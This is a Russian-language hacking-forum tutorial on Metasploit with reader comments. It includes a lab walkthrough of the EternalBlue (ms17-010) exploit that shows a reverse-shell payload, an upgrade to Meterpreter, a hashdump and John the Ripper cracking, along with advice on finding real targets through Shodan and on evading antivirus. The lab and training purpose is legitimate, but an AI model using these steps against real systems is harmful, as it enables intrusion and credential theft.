• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья 🔒 Metasploit с нуля до лута - ликбез простыми словами!

BlameUself

RAM
Пользователь
Регистрация
12.04.2022
Сообщения
121
Реакции
161
Источник: xss.pro
Автор BlameUself


1692427489254.png

Что представляет собой Metasploit? Что такое Meterpreter и какие еще модули включает в себя Metasploit? Где и как запускать этот невероятный инструмент? И, главное, где нам таргеты найти? Эти вопросы терзали меня, и в поиске ответов на них, родилась эта статья.
Метасплоит может показаться грозным и сложным инструментом, вызывающим некоторую тревогу. Давайте познакомимся с ним поближе и собьем с него спесь. По итогу, даже самые хаотичные пазлы сложатся.
Главная цель - комфортное введение в мир фреймворка. Этот рассказ не ставит целью осветить абсолютно все обо всем. Отдельные элементы метасплота достойны своих статей. Более того, если вы заметите неточности или темные пятна, приглашаю вас разрешить их в комментариях.
Сперва я хотел бы обозначить важные термины, кратко ввести вас в пентест, пройтись по самой важной теории фреймворка, разобрать практическую задача, оставив ссылки на дополнительные задачи, рассмотреть различные сценарии установки, и, наконец, ответить на вопрос о поисках таргетов. Эту статью можно читать с нулевым бэкграундом.
Для достижения мастерства потребуются годы. Возможно, это знакомство будет тем самым началом.

Прочти это предупреждение! Все, о чем можно узнать из статьи, всего лишь выдумка, и не смей превращать её в реальность. Любые махинации с этими игрушками приведут к старому доброму "гроб, гроб, кладбище, ЛГБТК+", ты действительно этого хочешь?




Прежде чем погружаться в глубины кроличьей норы, важно синхронизировать некоторые термины​
  • Эксплоит - код, который использует уязвимость в системе для выполнения определенного действия или достижения определенного результата, который разработчик не предусматривал. Примерами эксплоитов могут быть переполнение буфера или SQL-инъекции.​
  • Payload (полезная нагрузка) - это часть кода, которая выполняет конкретное действие после успешного использования уязвимости. Грубо говоря, это код, который мы хотим, чтобы система исполнила. Примером может быть reverse shell - это пейлоад, который устанавливает обратное соединение с целевой машиной, либо bind shell - пейлоад, при котором целевая машина открывает порт и ожидает входящего соединения от внешнего пользователя.​
  • Shellcode - код, который может быть использован в качестве полезной нагрузки. "Shell" в названии означает, что будет задействована командная оболочка операционной системы. Чаще всего шелл-код пишется на языках с низким уровнем абстракции, таких как ассемблер.​
  • Listener (слушатель) - это компонент, который прослушивает сетевой трафик на определенном порту или в определенной сети с целью обнаружения и реагирования на события (соединение). Слушатель ожидает и обрабатывает соединение.​

Введение в пентест
В широком смысле, пентестинг - это процесс анализа системы с целью выявления потенциальных уязвимостей. Существуют стандарты, которые описывают структуру данного процесса. Рассмотрим на примере Penetration Testing Execution Standard (PTES):
  1. Взаимодействие до начала интеракции (это про этику, о документах).
  2. Сбор информации (OSINT, получение любой полезной информации о цели).
  3. Моделирование угроз.
  4. Анализ уязвимостей.
  5. Эксплуатация.
  6. Пост-эксплуатация.
  7. Создание отчета (и снова про этику).
Существуют также другие стандарты, такие как OWASP Testing Guide, OSSTMM, и т.д. Для начала работы достаточно иметь представление о пайплайне процесса.

Может показаться, что Metasploit - абсолютно универсальный инструмент, и хотя он включает в себя поистине удивительное количество возможностей, это не так. Лишь комбинация инструментов способна снять замки.
Отмечу пару моментов.
Любая атака начинается с разведки. Существует два типа разведки - активная и пассивная.
Путем применения методов пассивного и косвенного сбора информации можно получать сведения о цели, не воздействуя на саму систему.
Несколько инструментов для пассивной разведки:
  • Whois Lookups - инструмент, который помогает узнавать информацию о владельце доменного имени в интернете. С его помощью можно получить данные о том, кому принадлежит определенный веб-сайт, какие контактные данные у владельца домена, когда был зарегистрирован домен и когда истекает срок его регистрации.
  • NSLookup - утилита, которая используется для получения информации о доменных именах, IP-адресах, а также для определения информации о DNS-записях.
При активной разведке мы взаимодействуем непосредственно с системой с целью расширения наших знаний о ней. Например, проводим сканирование портов для выявления открытых портов на целевой системе или сканируем их для обнаружения запущенных служб.
Пример инструмента для активной разведке:
  • Nmap - самый популярный инструмент для анализа сети, используемый для выявления устройств, определения открытых портов на этих устройствах и определения служб, работающих на этих портах. Больше информации о nmap - оф. дока. (ru кратко/en)
Также хочу отметить сканнеры уязвимостей. Это невероятные инструменты, способные просканировать цель на наличие уязвимостей. Существует десяток популярных решений, обратите внимание на Nessus и Acunetix.
Про взаимодействие с Acunetix есть прекрасная статья на форуме, а также регулярно появляются кряки 🙂 Рекомендую ознакомиться с этими программами, учитывая также, что при работе с ними они порой могут выдавать ложноположительные (фолспизитив) результаты.
Из полностью бесплатных сканеров рассмотрите W3af.
Верная комбинация инструментов творит чудеса. Забегая немного вперед, если вы планируете использовать базы данных для хранения информации, то Metasploit поддерживает MySQL и PostgreSQL.
Хочу также отметить, что в Metasploit есть модули, которые могут быть альтернативой упомянутым ранее инструментам. Например, модули раздела auxiliary/scanner могут использоваться как дополнение или замена функционалу, предоставляемому, например, nmap. Мы также можем комбинировать модули в собственном скрипте, тем самым создавая кастомный сканер. Какие конкретно инструменты выбирать — решать только вам.


В первую очередь, Metasploit - это фреймворк для тестирования на проникновение.
Фреймворк - это набор готовых инструментов, правил и шаблонов, который помогает сфокусироваться на главном. При работе с любым фреймворком необходимо начинать с изучения его философии.


При начале работы с Metasploit пользователей может конфузить наличие двух версий - Metasploit Framework и Metasploit Pro.
В этой статье речь будет идти о Metasploit Framework.
Metasploit Framework - это бесплатный фреймворк с открытым исходным кодом. Исходный код можно изучить в официальном репозитории по ссылке: https://github.com/rapid7/metasploit-framework.
Metasploit Pro - это коммерческая версия Metasploit, предоставляемая компанией Rapid7. В дополнение к основным функциям Metasploit Framework, версия Pro расширяет возможности управления, отчетности и анализа данных. Pro работает через графический интерфейс, в то время как Framework использует интерфейс командной строки. Pro версия получает более мощные обновления от команды Rapid7, ориентированные на корпоративных клиентов. Цена Pro версии на данный момент составляет $15 000 в год.
Metasploit изначально использовал язык программирования Perl. В 2007 году он был полностью переписан на Ruby. Тем не менее, некоторые модули могут быть реализованы на других языках.

Ключевым понятием в Metasploit является модульный подход.
Модуль в Metasploit представляет собой самостоятельную часть кода, предназначенную для выполнения определенной функции. Модули могут выполняться как отдельные команды, так и в рамках более крупных сценариев. Эта система позволяет выбирать и настраивать только те компоненты, которые необходимы для конкретной задачи.
Взаимодействие с Metasploit происходит через MSFconsole.
Msfconsole - это командная строка Metasploit, интерфейс для взаимодействия с ним.
Вводим "msfconsole" в терминале, видим забавный лог и получаем возможность взаимодействовать внутри Metasploit.

Untitled.png

Как и у многих других программ, у Metasploit есть справка, доступная по флагу '-h'
Untitled (1).png

Фреймворк содержит более 3000 модулей, и почти невозможно запомнить их все. Запуск команды ‘show’ из msfconsole отобразит каждый доступный модуль в рамках фреймворка, но вы также можете сузить поиск, отображая только определенные типы модулей. Используйте поиск, это база. (для поиска по названию используйте ‘search’, а не ‘show’)
Команда ‘show exploits’

Untitled (2).png

Для выбора необходимого модуля используйте команду 'use' + имя модуля. Не забывайте о возможности использовать клавишу Tab для автодополнения.
Untitled (3).png

Некоторые модули требуют настройки перед использованием. Используйте команду ‘show options’, чтобы увидеть необходимые параметры, и установите их с помощью команды set.
Untitled (4).png

Вы также можете установить значения переменных глобально в msfconsole, используя setg/unsetg.
Для получения более подробной информации о модуле введите команду ‘info’

Untitled (5).png


По определению, модуль Metasploit, который не является эксплойтом, является вспомогательным модулем (auxiliary). Эти модули предоставляют дополнительные функции - разведка, сканеры портов, идентификаторы служб, фазеры протоколов. Всего доступно более 1000 вспомогательных модулей в 18 категориях.
Используем команды для поиска и вывода всех дополнительных модулей с помощью команды ‘show auxiliary’.
Untitled (6).png

Эксплойты являются одной из самых важных составляющих фреймворка Metasploit. Эксплойт - это фактический код, который обеспечивает необходимый доступ к целевой системе. В Metasploit доступно более 2000 эксплойтов.
Энкодеры. В любом из реальных сценариев тестирования на проникновение существует возможность обнаружения нашей попытки атаки целевой системы программным обеспечением безопасности. В этих ситуациях энкодеры приходят на помощь. Они занимаются задачей обфускации эксплойта и полезной нагрузки таким образом, чтобы это оставалось незамеченным любыми системами безопасности на целевой системе.
Payload - позволяют решить, какое действие выполнить на целевой системе после успешного использования уязвимости.
Post содержат модули, которые помогают проникнуть дальше в целевую систему после успешной эксплуатации.
Meterpreter - это расширение фреймворка Metasploit, которое, простыми словами, используется для удалённого управления системой. Более правильно сказать, что Meterpreter выступает в качестве полезной нагрузки после обнаружения уязвимости. Например, он может скрывать следы атаки, получать дампы, делать скриншоты, оставаться в операционной системе.
Meterpreter позволяет проводить дополнительные атаки после того, как мы скомпрометировали систему. Его главное преимущество заключается в незаметности: Meterpreter располагается в памяти скомпрометированной системы и не осуществляет запись на диск. Он не создает новых процессов, а вместо этого интегрируется в скомпрометированный процесс. Кроме того, он способен мигрировать в другие активные процессы.

Существует также альтернативный устаревший интерфейс MSFcli, а также графический бесплатный интерфейс Armitage. Мы не будем использовать Armitage в рамках этой статьи, но можете узнать больше о нем самостоятельно. Еще несколько важных элементов фреймворка, которых мы не будем рассматривать, но вы можете узнать о них больше:
MSFpayload - это инструмент в Metasploit, который обеспечивает возможность генерации shellcode, исполняемых файлов и прочего для использования в эксплойтах за пределами самого фреймворка. Он дает возможность создавать разнообразные виды полезной нагрузки, в том числе исходный код, который может быть внедрен в целевую систему для выполнения различных действий.
MSFencode - еще один важный компонент Metasploit, предназначенный для обфускации полезной нагрузки. При обфускации пейлоада происходит изменение его структуры или кода, что может помочь избежать обнаружения на стороне целевой системы.
Nasm Shell - инструмент nasm_shell.rb, может быть полезным для изучения ассемблерного кода. Если вам нужно разобраться в деталях ассемблерной инструкции или анализировать поведение shellcode'а, этот инструмент поможет вам в этом.
Msfvenom - объединяет в себе интерфейсы MSFpayload и MSFencode


Достаточно теории, мы готовы перейти к практике.
Для начала нашей первой практики мы не будем поднимать сеть машин, не будем переступать через красные линии, вместо этого мы воспользуемся прекрасным сервисом - TryHackMe.
TryHackMe - это онлайн-платформа для обучения в сфере кибербезопасности и практических навыков в области взлома.
Почти половина комнат доступны бесплатно. В течение одного часа в сутки мы можем использовать удобный интерфейс ‘виртуалок’ прямо в браузере, после чего мы можем использовать VPN, сменить аккаунт или оплатить подписку.
Начнем с комнаты, знакомящей с сервисом - How To Use Tryhackme.
На сайте есть целый модуль, посвященный Metasploit.
В первой комнате нас введут во фреймворк. Большинство информации вы уже знаете. Говорят, что повторение - мать учения (и прибежище ослов). Самое главное, вы можете запустить виртуалку и потыкать все функции, о которых я писал выше. Это необходимо, чтобы закрыть комнату.
Следующие две комнаты находятся за пейволом. В рамках статьи мы пропустим их, но если вы купили подписку, рекомендуем также пройти их.
Финальной целью прохождения большинства комнат THM является получение флага (Capture the Flag).

Отлично, давайте перейдем к прохождению комнаты. Я выбрал комнату легкого уровня сложности, с достаточно известной уязвимость.
В этой комнате мы будем рассматривать уязвимость, известную как EternalBlue, которая использовалась для эксплуатации протоколов SMB. Самая громкая атака с использованием этой уязвимости произошла в 2017 году — WannaCry.
Начнем с разведки цели, используя nmap.
Команда: nmap -sV -sC --script vuln 1.1.1.1
Флаги:
  • -sV указывает Nmap на то, чтобы он пытался определить версии сервисов, работающих на открытых портах.
  • -sC позволяет запускать набор стандартных скриптов (категория default) для автоматизированного обнаружения уязвимостей.
  • - -script vuln флаг позволяет указать конкретный скрипт или группу скриптов для выполнения. vuln является категорией скриптов в Nmap, направленных на обнаружение уязвимостей.
Untitled (7).png

Видим несколько открытых портов. Главное, что замечаем, это наличие критической уязвимости CVE-2017–0143, также известной как ms17-010.
Запускаем нашего зверя. Используя поиск, ищем уязвимость.
‘search MS17_010’
Untitled (8).png

Выбираем эксплоит из поиска командой ‘use 0’. Просматриваем опции модуля, используя 'show options'.
Untitled (9).png

Устанавливаем RHOSTS командой ‘set RHOSTS 1.1.1.1’ (адрес удаленного хоста/цели).
Устанавливаем пейлоад - set payload windows/x64/shell/reverse_tcp.
Запускаем эксплоит командой ‘run’ (или ‘exploit’).
Untitled (10).png

И мы в системе. Для свертывания сессии шелла используйте CTRL + Z.
Untitled (11).png

Пришло время эскалации. Будем использовать Meterpreter.
Выбираем модуль командой ‘use post/multi/manage/shell_to_meterpreter’.
Просматриваем опции с помощью команды show options и устанавливаем set SESSION 1.
Полетели, команда ‘run’.
Untitled (12).png

Видим две сессии sessions -l (эл).
Untitled (13).png

Заходим в сессию метапретора, используя команду ‘sessions -i 2’.
В рамках комнаты нам нужно найти и дешифровать хеш пароля пользователя не по умолчанию.
Вводим команду hashdump.
Untitled (14).png

Этот пользователь — Jon. Дешифруем с помощью John the Ripper, предварительно сохранив хеш в файле hash.txt.
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Untitled (15).png

Также нужно найти флаги.
Первый флаг находится в корне.
Untitled (16).png

Второй — в конфиге.
Untitled (17).png

Третий — у Джона в документах.
Untitled (18).png


Практика приведет к мастерству. Я оставлю вам список нескольких бесплатных комнат, в которых вы сможете использовать Metasploit для прохождения​
Низкой сложности:
Средней сложности:
Высокой сложности:
Если вас заинтересовал сервис, я оставлю вам списки бесплатных комнат и путей прохождения - бесплатные комнаты, один из вариантов прохождения.

Metasploit можно установить различными способами. Например, мы можем использовать Metasploit в Windows. Но я бы хотел рассмотреть несколько другую установку.
Во всем известном Linux Kali Metasploit предустановлен по умолчанию, но вы также можете установить его на любой другой дистрибутив Linux.
Самым удобным способом для старта будет установка Kali на VirtualBox.
Скачать образ с официального сайта под VB - https://www.kali.org/get-kali/#kali-platforms
Далее установка достаточно простая - создаем виртуальную машину, выделяем ресурсы, выбираем образ для установки, запускаем и следуем инструкции по установке.
На любом другом дистрибутиве достаточно будет ввести команду:
sudo apt-get install metasploit-framework
Для обновления Metasploit есть специальная команда - msfupdate.


После экспериментов с виртуальной машиной, вы можете пойти дальше и использовать Metasploit на VPS.

И где же найти таргеты?
Мы можем использовать два подхода - поиск уязвимостей на сервисе и поиск сервисов с уязвимостью.
Так вот, искать следует в поиске, и я не говорю только о Google Dorking, хотя он тоже включен.

Я хочу обратить ваше внимание на Shodan.
Shodan.io - это поисковый движок, который сканирует весь интернет в поисках подключенных устройств и собирает информацию о них. Устройства включают в себя, в том числе, веб-камеры, маршрутизаторы, серверы и так далее.
Shodan работает с баннерами.
Баннер в Shodan представляет собой текст, который содержит информацию о конкретном устройстве, подключенном к интернету. Эта информация может включать в себя версию программного обеспечения, открытые порты и так далее. Помимо баннеров, Shodan также умеет захватывать метаданные устройства, такие как геолокация, имя хоста и так далее.
Как и Google, в Shodan возможен поиск с использованием фильтров.
Фильтры позволяют отфильтровывать результаты в соответствии с различными параметрами, такими как тип устройства, страна, город, открытые порты, версии программного обеспечения и многое другое.

Не все комнаты на THM посвящены CTF, есть и общие.
Например, комната по Google Dork'ам и комната по Shodan.


Ликбез подошел к концу, но это лишь начало погружения в тему Metasploit!
Буду рад увидеть ваши комментарии.
Удачи в исследованиях этих троп.
 

Вложения

  • Untitled (5).png
    Untitled (5).png
    156 КБ · Просмотры: 35
  • Untitled (7).png
    Untitled (7).png
    226.9 КБ · Просмотры: 37
это все хорошо, но подобных статей вагон и маленькая тележка, лучше напиши статью "метасплоит в боевых условиях" , где показываешь как криптуешь пейлоады , какие инструменты для этого используешь , как метой обходить АВ/ЕДР (слип или что-то другое)
 
очень хочется статью как настроить ip
когда то пробовал взял уязвимость просканил порты
засунул в armitage
Armitage-en-espanol-13.png

это как пример. armitage отработал начали появляться машины с красной подсветкой. но не одна команда не проходила ответа нет. пробовал другие уязвимости. тоже самое. как понял проблема с айпи. так и не мог настроить и плюнул
 
Есть вопрос.
Если есть шелл на хосте, как прочекать тачку на наличие уязвимых \ проблемных мест в атоматическом режиме?
Руками понятно, но "покрытие" да и углубленность другая совсем чем каким то краулером пройтись...
 
Есть вопрос.
Если есть шелл на хосте, как прочекать тачку на наличие уязвимых \ проблемных мест в атоматическом режиме?
Руками понятно, но "покрытие" да и углубленность другая совсем чем каким то краулером пройтись...
Если ты про повышение привилегий, то есть скрипт автоматический под каждую ось (winpeas, linpeas и т.д.)
Но это всё детектится АВ, поэтому лучше руками или чем то самописным.
 
Т.е. оно все пробует сплоиты?

Руками же как, собираешь все что есть по оси (какой софт как сконфижен, где может суидники админы какие делали и тп) и уже от этого пробуешь.
Т.е. было бы клево иметь инструмент который это все автоматизирует и мэтчит с имеющимеся сплоитами в базе
 
Т.е. оно все пробует сплоиты?

Руками же как, собираешь все что есть по оси (какой софт как сконфижен, где может суидники админы какие делали и тп) и уже от этого пробуешь.
Т.е. было бы клево иметь инструмент который это все автоматизирует и мэтчит с имеющимеся сплоитами в базе
загугли что это за скрипты. исходники на гидхабе есть. может подойдёт тебе...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
все привет
скажите какие дейсвия нужно проделать чтобы успешно найти и юзнуть exploit
как понять какой именно подойдет ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх